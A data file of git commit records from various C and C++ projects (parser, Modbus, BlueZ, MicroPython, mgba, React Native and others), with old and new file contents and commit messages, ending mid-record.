{"commit":"02a17c281d68aa9ba0d951f70ab1716a72d7b4b1","old_file":"src\/vast\/query\/parser\/skipper.h","new_file":"src\/vast\/query\/parser\/skipper.h","old_contents":"#ifndef VAST_QUERY_PARSER_SKIPPER_H\n#define VAST_QUERY_PARSER_SKIPPER_H\n\n#include <boost\/spirit\/include\/qi.hpp>\n\nnamespace vast {\nnamespace query {\nnamespace parser {\n\nnamespace qi = boost::spirit::qi;\nnamespace ascii = boost::spirit::ascii;\n\ntemplate <typename Iterator>\nstruct skipper : qi::grammar<Iterator>\n{\n    skipper()\n      : skipper::base_type(start)\n    {\n        qi::char_type char_;\n        ascii::space_type space;\n\n        start =\n                char_                           \/\/ Tab, space, CR, LF\n            |   \"\/*\" >> *(space - \"*\/\") >> \"*\/\" \/\/ C-style comments\n            ;\n    }\n\n    qi::rule<Iterator> start;\n};\n\n} \/\/ namespace ast\n} \/\/ namespace query\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_QUERY_PARSER_SKIPPER_H\n#define VAST_QUERY_PARSER_SKIPPER_H\n\n#include <boost\/spirit\/include\/qi.hpp>\n\nnamespace vast {\nnamespace query {\nnamespace parser {\n\nnamespace qi = boost::spirit::qi;\nnamespace ascii = boost::spirit::ascii;\n\ntemplate <typename Iterator>\nstruct skipper : qi::grammar<Iterator>\n{\n    skipper()\n      : skipper::base_type(start)\n    {\n        qi::char_type char_;\n        ascii::space_type space;\n\n        start =\n                space                           \/\/ Tab, space, CR, LF\n            |   \"\/*\" >> *(char_ - \"*\/\") >> \"*\/\" \/\/ C-style comments\n            ;\n    }\n\n    qi::rule<Iterator> start;\n};\n\n} \/\/ namespace ast\n} \/\/ namespace query\n} \/\/ namespace vast\n\n#endif\n","subject":"Fix skip grammar of query parser.","message":"Fix skip grammar of query parser.\n","lang":"C","license":"bsd-3-clause","repos":"mavam\/vast,mavam\/vast,pmos69\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast,pmos69\/vast,pmos69\/vast,pmos69\/vast"}
{"commit":"7351b1e11f4806d4a6c1ee30253f28aab3f8ab2a","old_file":"slave\/stypes.h","new_file":"slave\/stypes.h","old_contents":"#define _SLAVETYPES\n\n#include <inttypes.h>\n\n\/\/Declarations for slave types\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Response frame content\n} MODBUSResponseStatus; \/\/Type containing information about frame that is set up at slave side\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Slave address\n\tuint16_t *Registers; \/\/Slave holding registers\n\tuint16_t RegisterCount; \/\/Slave register count\n\tuint8_t *RegisterMask; \/\/Masks for write protection (bit of value 1 - write protection)\n\tuint16_t RegisterMaskLength; \/\/Masks length (each mask covers 8 registers)\n\tMODBUSResponseStatus Response; \/\/Slave response formatting status\n} MODBUSSlaveStatus; \/\/Type containing slave device configuration data\n","new_contents":"#define _SLAVETYPES\n\n#include <inttypes.h>\n\n\/\/Declarations for slave types\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Response frame content\n} MODBUSResponseStatus; \/\/Type containing information about frame that is set up at slave side\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Slave address\n\tuint16_t *Registers; \/\/Slave holding registers\n\tuint16_t RegisterCount; \/\/Slave register count\n\tuint8_t *Coils; \/\/Slave coils\n\tuint16_t CoilCount; \/\/Slave coil count\n\tuint8_t *RegisterMask; \/\/Masks for write protection (bit of value 1 - write protection)\n\tuint16_t RegisterMaskLength; \/\/Masks length (each mask covers 8 registers)\n\tMODBUSResponseStatus Response; \/\/Slave response formatting status\n} MODBUSSlaveStatus; \/\/Type containing slave device configuration data\n","subject":"Add coil variables to type definitions","message":"Add coil variables to type definitions\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"197a1ec9be32f0fa4e4ea2d16a3a00b905c90489","old_file":"Common\/Categories\/MITAdditions.h","new_file":"Common\/Categories\/MITAdditions.h","old_contents":"#ifndef MIT_Mobile_MITAdditions_h\n#define MIT_Mobile_MITAdditions_h\n\n#import \"Foundations+MITAdditions.h\"\n#import \"UIKit+MITAdditions.h\"\n#import \"CoreLocation+MITAdditions.h\"\n#import \"UIImage+Resize.h\"\n#import \"NSDateFormatter+RelativeString.h\"\n#import \"MFMailComposeController+RFC2368.h\"\n#import \"NSData+MGTwitterBase64.h\"\n#import \"NSMutableAttributedString+MITAdditions.h\"\n\n#endif\n","new_contents":"#ifndef MIT_Mobile_MITAdditions_h\n#define MIT_Mobile_MITAdditions_h\n\n#import \"Foundation+MITAdditions.h\"\n#import \"UIKit+MITAdditions.h\"\n#import \"CoreLocation+MITAdditions.h\"\n#import \"UIImage+Resize.h\"\n#import \"NSDateFormatter+RelativeString.h\"\n#import \"MFMailComposeViewController+RFC2368.h\"\n#import \"NSData+MGTwitterBase64.h\"\n#import \"NSMutableAttributedString+MITAdditions.h\"\n\n#endif\n","subject":"Fix up the header names as several are not correct","message":"Fix up the header names as several are not correct\n","lang":"C","license":"lgpl-2.1","repos":"MIT-Mobile\/MIT-Mobile-for-iOS,MIT-Mobile\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS"}
{"commit":"0bb89c0109968d4b0344c5bb21dc7413c35235ae","old_file":"A\/01\/09\/task1.c","new_file":"A\/01\/09\/task1.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n\nlong hash(char*);\n\nint main() {\n    \n    char word[200];\n    fgets(word, 201, stdin);\n    \n    printf(\"%ld\", hash(word));\n    \n    return 0;\n}\n\nlong hash(char *word) {\n    \n    long result = 42;\n    int length = strlen(word);\n    \n    for (int i = 0; i < length; i++) {\n        result += word[i] * (i + 1);\n    }\n    \n    return result;\n}","subject":"Add Task 01 for Homework 01","message":"Add Task 01 for Homework 01\n","lang":"C","license":"mit","repos":"elsys\/po-homework"}
{"commit":"5c71f0153eec740762d04835396676944f16c8cc","old_file":"auparse\/socktypetab.h","new_file":"auparse\/socktypetab.h","old_contents":"","new_contents":"\n\/* socktypetab.h --\n * Copyright 2012 Red Hat Inc., Durham, North Carolina.\n * All Rights Reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n * Authors:\n *      Steve Grubb <sgrubb@redhat.com>\n *\/\n\n_S(1, \"SOCK_STREAM\")\n_S(2, \"SOCK_DGRAM\")\n_S(3, \"SOCK_RAW\")\n_S(4, \"SOCK_RDM\")\n_S(5, \"SOCK_SEQPACKET\")\n_S(6, \"SOCK_DCCP\")\n_S(10, \"SOCK_PACKET\")\n\n","subject":"Add some interpretations to ausearch for syscall parameters","message":"Add some interpretations to ausearch for syscall parameters\n\n\ngit-svn-id: b2ed898cf2cd3316b62ee1cc50465f4560571194@673 03a675c2-f56d-4096-908f-63dba836b7e4\n","lang":"C","license":"lgpl-2.1","repos":"yubo\/audit,yubo\/audit,yubo\/audit,yubo\/audit,yubo\/audit"}
{"commit":"af495684820a0f34bbccfefb3bce784c3dc6b327","old_file":"ReactCommon\/fabric\/components\/image\/ImageComponentDescriptor.h","new_file":"ReactCommon\/fabric\/components\/image\/ImageComponentDescriptor.h","old_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <fabric\/components\/image\/ImageShadowNode.h>\n#include <fabric\/core\/ConcreteComponentDescriptor.h>\n#include <fabric\/imagemanager\/ImageManager.h>\n#include <fabric\/uimanager\/ContextContainer.h>\n\nnamespace facebook {\nnamespace react {\n\n\/*\n * Descriptor for <Image> component.\n *\/\nclass ImageComponentDescriptor final:\n  public ConcreteComponentDescriptor<ImageShadowNode> {\n\npublic:\n  ImageComponentDescriptor(SharedEventDispatcher eventDispatcher, const SharedContextContainer &contextContainer):\n    ConcreteComponentDescriptor(eventDispatcher),\n    imageManager_(contextContainer->getInstance<SharedImageManager>()) {}\n\n  void adopt(UnsharedShadowNode shadowNode) const override {\n    ConcreteComponentDescriptor::adopt(shadowNode);\n\n    assert(std::dynamic_pointer_cast<ImageShadowNode>(shadowNode));\n    auto imageShadowNode = std::static_pointer_cast<ImageShadowNode>(shadowNode);\n\n    \/\/ `ImageShadowNode` uses `ImageManager` to initiate image loading and\n    \/\/ communicate the loading state and results to mounting layer.\n    imageShadowNode->setImageManager(imageManager_);\n  }\n\nprivate:\n  const SharedImageManager imageManager_;\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n\n","new_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <fabric\/components\/image\/ImageShadowNode.h>\n#include <fabric\/core\/ConcreteComponentDescriptor.h>\n#include <fabric\/imagemanager\/ImageManager.h>\n#include <fabric\/uimanager\/ContextContainer.h>\n\nnamespace facebook {\nnamespace react {\n\n\/*\n * Descriptor for <Image> component.\n *\/\nclass ImageComponentDescriptor final:\n  public ConcreteComponentDescriptor<ImageShadowNode> {\n\npublic:\n  ImageComponentDescriptor(SharedEventDispatcher eventDispatcher, const SharedContextContainer &contextContainer):\n    ConcreteComponentDescriptor(eventDispatcher),\n    imageManager_(contextContainer->getInstance<SharedImageManager>()) {}\n\n  void adopt(UnsharedShadowNode shadowNode) const override {\n    ConcreteComponentDescriptor::adopt(shadowNode);\n\n    assert(std::dynamic_pointer_cast<ImageShadowNode>(shadowNode));\n    auto imageShadowNode = std::static_pointer_cast<ImageShadowNode>(shadowNode);\n\n    \/\/ `ImageShadowNode` uses `ImageManager` to initiate image loading and\n    \/\/ communicate the loading state and results to mounting layer.\n    imageShadowNode->setImageManager(imageManager_);\n  }\n\nprivate:\n  const SharedImageManager imageManager_;\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n","subject":"Implement the update of props in the MountingManager layer","message":"Implement the update of props in the MountingManager layer\n\nSummary: This diff implements the update of props in Fabric C++. The props values are passed to java in a ReadableMap and they are integrated into the current implementation of ViewManagers. In the fututre we will replace the ReadableMap for typed objects.\n\nReviewed By: shergin\n\nDifferential Revision: D9093560\n\nfbshipit-source-id: da58326cfadb0665dac3349a8cf24cde2d401aaa\n","lang":"C","license":"bsd-3-clause","repos":"exponent\/react-native,pandiaraj44\/react-native,hammerandchisel\/react-native,hammerandchisel\/react-native,myntra\/react-native,javache\/react-native,pandiaraj44\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,facebook\/react-native,javache\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,pandiaraj44\/react-native,myntra\/react-native,arthuralee\/react-native,janicduplessis\/react-native,hoangpham95\/react-native,exponentjs\/react-native,javache\/react-native,exponent\/react-native,javache\/react-native,facebook\/react-native,pandiaraj44\/react-native,javache\/react-native,arthuralee\/react-native,pandiaraj44\/react-native,hoangpham95\/react-native,myntra\/react-native,facebook\/react-native,exponentjs\/react-native,hoangpham95\/react-native,janicduplessis\/react-native,exponent\/react-native,exponent\/react-native,exponent\/react-native,myntra\/react-native,exponentjs\/react-native,javache\/react-native,janicduplessis\/react-native,exponentjs\/react-native,facebook\/react-native,janicduplessis\/react-native,hammerandchisel\/react-native,javache\/react-native,myntra\/react-native,exponentjs\/react-native,janicduplessis\/react-native,exponent\/react-native,myntra\/react-native,hammerandchisel\/react-native,myntra\/react-native,facebook\/react-native,arthuralee\/react-native,javache\/react-native,facebook\/react-native,hoangpham95\/react-native,janicduplessis\/react-native,pandiaraj44\/react-native,exponent\/react-native,hoangpham95\/react-native,facebook\/react-native,pandiaraj44\/react-native,facebook\/react-native,exponentjs\/react-native,hammerandchisel\/react-native,myntra\/react-native,exponentjs\/react-native,hammerandchisel\/react-native,arthuralee\/react-native,arthuralee\/react-native,exponentjs\/react-native,hoangpham95\/react-native,exponent\/react-native,janicduplessis\/react-native,facebook\/react-native,javache\/react-native,myntra\/react-native,janicduplessis\/react-native,pandiaraj44\/react-native"}
{"commit":"87b5f56bd4f5454659956bf1034849a60c463714","old_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","new_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","old_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable exp.uncilwitness --disable ana.int.trier --enable ana.int.interval --set ana.activated '[\"base\"]' --set phases '[{}, {\"ana\": {\"activated\": [\"base\", \"observer\"], \"path_sens\": [\"observer\"]}}]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable exp.uncilwitness --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --set phases '[{}, {\"ana\": {\"activated\": [\"base\", \"observer\"], \"path_sens\": [\"observer\"]}}]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","subject":"Fix trier -> def_exc in observer test comment","message":"Fix trier -> def_exc in observer test comment\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d2a403e1c27fb66ba879ec42af7ee50c35accb1a","old_file":"tests\/execute\/0125-fundcl.c","new_file":"tests\/execute\/0125-fundcl.c","old_contents":"","new_contents":"\nint f(int a), g(int a), a;\n\n\nint\nmain()\n{\n\treturn f(1) - g(1);\n}\n\nint\nf(int a)\n{\n\treturn a;\n}\n\nint\ng(int a)\n{\n\treturn a;\n}\n","subject":"Add test for function declarations","message":"[tests] Add test for function declarations\n\nThis test is intended for mixing several function\ndefinitions and variables in the same declaration list.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"9abc56ec060ec6366878a829fa9554cde28e8925","old_file":"Settings\/Tab.h","new_file":"Settings\/Tab.h","old_contents":"#pragma once\n\n#include <Windows.h>\n#include <vector>\n\nclass UIContext;\n\/\/\/ <summary>\n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass Tab {\npublic:\n    Tab();\n    ~Tab();\n\n    \/\/\/ <summary>Processes messages sent to the tab page.<\/summary>\n    virtual DLGPROC TabProc(\n        HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\n\n    \/\/\/ <summary>Persists changes made on the tab page<\/summary>\n    virtual void SaveSettings() = 0;\n\nprotected:\n    HWND _hWnd;\n    UIContext *_ctxt;\n\n\n    \/\/\/ <summary>\n    \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n    \/\/\/ Since tab page windows are created on demand, this method could be\n    \/\/\/ called much later than the constructor for the tab.\n    \/\/\/ <\/summary>\n    virtual void Initialize() = 0;\n\n    \/\/\/ <summary>Applies the current settings state to the tab page.<\/summary>\n    virtual void LoadSettings() = 0;\n\n    \/\/\/ <summary>Handles WM_COMMAND messages.<\/summary>\n    \/\/\/ <param name=\"nCode\">Control-defined notification code<\/param>\n    \/\/\/ <param name=\"ctrlId\">Control identifier<\/param>\n    virtual DLGPROC Command(unsigned short nCode, unsigned short ctrlId) = 0;\n\n    \/\/\/ <summary>Handles WM_NOTIFY messages.<\/summary>\n    \/\/\/ <param name=\"nHdr\">Notification header structure<\/param>\n    virtual DLGPROC Notification(NMHDR *nHdr) = 0;\n};","new_contents":"#pragma once\n\n#include <Windows.h>\n#include <vector>\n\n#include \"Control.h\"\n\nclass UIContext;\n\/\/\/ <summary>\n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass Tab {\npublic:\n    Tab();\n    ~Tab();\n\n    \/\/\/ <summary>Processes messages sent to the tab page.<\/summary>\n    virtual DLGPROC TabProc(\n        HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\n\n    \/\/\/ <summary>Persists changes made on the tab page<\/summary>\n    virtual void SaveSettings() = 0;\n\nprotected:\n    \/\/\/ <summary>Window handle of this tab.<\/summary>\n    HWND _hWnd;\n    UIContext *_ctxt;\n\n    \/\/\/ <summary>A vector of all the controls present on this tab.<\/summary>\n    std::vector<Control *> _controls;\n\n    \/\/\/ <summary>\n    \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n    \/\/\/ Since tab page windows are created on demand, this method could be\n    \/\/\/ called much later than the constructor for the tab.\n    \/\/\/ <\/summary>\n    virtual void Initialize() = 0;\n\n    \/\/\/ <summary>Applies the current settings state to the tab page.<\/summary>\n    virtual void LoadSettings() = 0;\n\n    \/\/\/ <summary>Handles WM_COMMAND messages.<\/summary>\n    \/\/\/ <param name=\"nCode\">Control-defined notification code<\/param>\n    \/\/\/ <param name=\"ctrlId\">Control identifier<\/param>\n    virtual DLGPROC Command(unsigned short nCode, unsigned short ctrlId) = 0;\n\n    \/\/\/ <summary>Handles WM_NOTIFY messages.<\/summary>\n    \/\/\/ <param name=\"nHdr\">Notification header structure<\/param>\n    virtual DLGPROC Notification(NMHDR *nHdr) = 0;\n};","subject":"Add vector to keep track of controls","message":"Add vector to keep track of controls\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"823c535f2169b755a77a413d5f957e9457c22cb3","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.06.00.12-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t6\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.07.00.02-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t7\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update the driver version to 8.07.00.02-k.","message":"[SCSI] qla2xxx: Update the driver version to 8.07.00.02-k.\n\nSigned-off-by: Saurav Kashyap <88d6fd94e71a9ac276fc44f696256f466171a3c0@qlogic.com>\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"b4769c3116f24df1dd2a045b177a03df66e23ac3","old_file":"src\/shared\/timeout-glib.c","new_file":"src\/shared\/timeout-glib.c","old_contents":"","new_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2014  Intel Corporation. All rights reserved.\n *\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *\/\n\n#include \"timeout.h\"\n\n#include <glib.h>\n\nstruct timeout_data {\n\ttimeout_func_t func;\n\ttimeout_destroy_func_t destroy;\n\tvoid *user_data;\n};\n\nstatic gboolean timeout_callback(gpointer user_data)\n{\n\tstruct timeout_data *data  = user_data;\n\n\tif (data->func(data->user_data))\n\t\treturn TRUE;\n\n\treturn FALSE;\n}\n\nstatic void timeout_destroy(gpointer user_data)\n{\n\tstruct timeout_data *data = user_data;\n\n\tif (data->destroy)\n\t\tdata->destroy(data->user_data);\n\n\tg_free(data);\n}\n\nint timeout_add(unsigned int ms, timeout_func_t func, void *user_data,\n\t\t\t\t\t\ttimeout_destroy_func_t destroy)\n{\n\tguint id;\n\tstruct timeout_data *data = g_malloc0(sizeof(*data));\n\n\tdata->func = func;\n\tdata->destroy = destroy;\n\tdata->user_data = user_data;\n\n\tid = g_timeout_add_full(G_PRIORITY_DEFAULT, ms, timeout_callback, data,\n\t\t\t\t\t\t\ttimeout_destroy);\n\tif (!id)\n\t\tg_free(data);\n\n\treturn id;\n}\n\nvoid timeout_remove(unsigned int id)\n{\n\tGSource *source = g_main_context_find_source_by_id(NULL, id);\n\tif (source)\n\t\tg_source_destroy(source);\n}\n","subject":"Add timeout handling with Glib support","message":"shared: Add timeout handling with Glib support\n","lang":"C","license":"lgpl-2.1","repos":"silent-snowman\/bluez,mapfau\/bluez,ComputeCycles\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,ComputeCycles\/bluez,silent-snowman\/bluez,ComputeCycles\/bluez,mapfau\/bluez,ComputeCycles\/bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,pstglia\/external-bluetooth-bluez,pkarasev3\/bluez,silent-snowman\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez"}
{"commit":"335d26b27d238cca9b4447a46d187d4c6f573d3a","old_file":"ports\/stm32\/boards\/STM32L476DISC\/bdev.c","new_file":"ports\/stm32\/boards\/STM32L476DISC\/bdev.c","old_contents":"#include \"storage.h\"\n\n\/\/ External SPI flash uses standard SPI interface\n\nconst mp_soft_spi_obj_t soft_spi_bus = {\n    .delay_half = MICROPY_HW_SOFTSPI_MIN_DELAY,\n    .polarity = 0,\n    .phase = 0,\n    .sck = MICROPY_HW_SPIFLASH_SCK,\n    .mosi = MICROPY_HW_SPIFLASH_MOSI,\n    .miso = MICROPY_HW_SPIFLASH_MISO,\n};\n\nconst mp_spiflash_config_t spiflash_config = {\n    .bus_kind = MP_SPIFLASH_BUS_SPI,\n    .bus.u_spi.cs = MICROPY_HW_SPIFLASH_CS,\n    .bus.u_spi.data = (void*)&soft_spi_bus,\n    .bus.u_spi.proto = &mp_soft_spi_proto,\n};\n\nspi_bdev_t spi_bdev;\n","new_contents":"#include \"storage.h\"\n\n\/\/ External SPI flash uses standard SPI interface\n\nSTATIC const mp_soft_spi_obj_t soft_spi_bus = {\n    .delay_half = MICROPY_HW_SOFTSPI_MIN_DELAY,\n    .polarity = 0,\n    .phase = 0,\n    .sck = MICROPY_HW_SPIFLASH_SCK,\n    .mosi = MICROPY_HW_SPIFLASH_MOSI,\n    .miso = MICROPY_HW_SPIFLASH_MISO,\n};\n\nSTATIC mp_spiflash_cache_t spi_bdev_cache;\n\nconst mp_spiflash_config_t spiflash_config = {\n    .bus_kind = MP_SPIFLASH_BUS_SPI,\n    .bus.u_spi.cs = MICROPY_HW_SPIFLASH_CS,\n    .bus.u_spi.data = (void*)&soft_spi_bus,\n    .bus.u_spi.proto = &mp_soft_spi_proto,\n    .cache = &spi_bdev_cache,\n};\n\nspi_bdev_t spi_bdev;\n","subject":"Update SPI flash config for cache change.","message":"stm32\/boards\/STM32L476DISC: Update SPI flash config for cache change.\n","lang":"C","license":"mit","repos":"pozetroninc\/micropython,MrSurly\/micropython,pramasoul\/micropython,henriknelson\/micropython,pfalcon\/micropython,adafruit\/circuitpython,bvernoux\/micropython,pfalcon\/micropython,MrSurly\/micropython,bvernoux\/micropython,pozetroninc\/micropython,henriknelson\/micropython,swegener\/micropython,pozetroninc\/micropython,tralamazza\/micropython,henriknelson\/micropython,trezor\/micropython,trezor\/micropython,pfalcon\/micropython,pramasoul\/micropython,pozetroninc\/micropython,tralamazza\/micropython,selste\/micropython,swegener\/micropython,tobbad\/micropython,tralamazza\/micropython,tralamazza\/micropython,henriknelson\/micropython,selste\/micropython,MrSurly\/micropython,trezor\/micropython,tobbad\/micropython,pfalcon\/micropython,tobbad\/micropython,kerneltask\/micropython,selste\/micropython,henriknelson\/micropython,bvernoux\/micropython,tobbad\/micropython,pozetroninc\/micropython,kerneltask\/micropython,pramasoul\/micropython,adafruit\/micropython,trezor\/micropython,kerneltask\/micropython,selste\/micropython,adafruit\/circuitpython,adafruit\/micropython,tobbad\/micropython,bvernoux\/micropython,MrSurly\/micropython,pfalcon\/micropython,adafruit\/micropython,adafruit\/circuitpython,pramasoul\/micropython,trezor\/micropython,swegener\/micropython,swegener\/micropython,adafruit\/circuitpython,MrSurly\/micropython,swegener\/micropython,kerneltask\/micropython,adafruit\/micropython,adafruit\/circuitpython,kerneltask\/micropython,adafruit\/circuitpython,selste\/micropython,pramasoul\/micropython,bvernoux\/micropython,adafruit\/micropython"}
{"commit":"9eb0c374b3459264d3180f59f033cf9490c0e1ea","old_file":"src\/platform\/posix\/memory.c","new_file":"src\/platform\/posix\/memory.c","old_contents":"\/* Copyright (c) 2013-2014 Jeffrey Pfau\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#include <mgba-util\/memory.h>\n\n#include <sys\/mman.h>\n\nvoid* anonymousMemoryMap(size_t size) {\n\treturn mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);\n}\n\nvoid mappedMemoryFree(void* memory, size_t size) {\n\tmunmap(memory, size);\n}\n","new_contents":"\/* Copyright (c) 2013-2014 Jeffrey Pfau\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#include <mgba-util\/memory.h>\n\n#ifndef DISABLE_ANON_MMAP\n#ifdef __SANITIZE_ADDRESS__\n#define DISABLE_ANON_MMAP\n#elif defined(__has_feature)\n#if __has_feature(address_sanitizer)\n#define DISABLE_ANON_MMAP\n#endif\n#endif\n#endif\n\n#ifndef DISABLE_ANON_MMAP\n#include <sys\/mman.h>\n\nvoid* anonymousMemoryMap(size_t size) {\n\treturn mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);\n}\n\nvoid mappedMemoryFree(void* memory, size_t size) {\n\tmunmap(memory, size);\n}\n#else\nvoid* anonymousMemoryMap(size_t size) {\n\treturn calloc(1, size);\n}\n\nvoid mappedMemoryFree(void* memory, size_t size) {\n\tUNUSED(size);\n\tfree(memory);\n}\n#endif\n","subject":"Disable mmap allocator when running under address sanitizer","message":"Util: Disable mmap allocator when running under address sanitizer\n","lang":"C","license":"mpl-2.0","repos":"Iniquitatis\/mgba,libretro\/mgba,libretro\/mgba,libretro\/mgba,Iniquitatis\/mgba,mgba-emu\/mgba,mgba-emu\/mgba,libretro\/mgba,libretro\/mgba,mgba-emu\/mgba,mgba-emu\/mgba,Iniquitatis\/mgba,Iniquitatis\/mgba"}
{"commit":"7ee90d0d9ecd6010bb6c7ad252d04b32f07877d5","old_file":"include\/clang\/Basic\/TypeTraits.h","new_file":"include\/clang\/Basic\/TypeTraits.h","old_contents":"\/\/===--- TypeTraits.h - C++ Type Traits Support Enumerations ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines enumerations for the type traits support.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TYPETRAITS_H\n#define LLVM_CLANG_TYPETRAITS_H\n\nnamespace clang {\n\n  \/\/\/ UnaryTypeTrait - Names for the unary type traits.\n  enum UnaryTypeTrait {\n    UTT_HasNothrowAssign,\n    UTT_HasNothrowCopy,\n    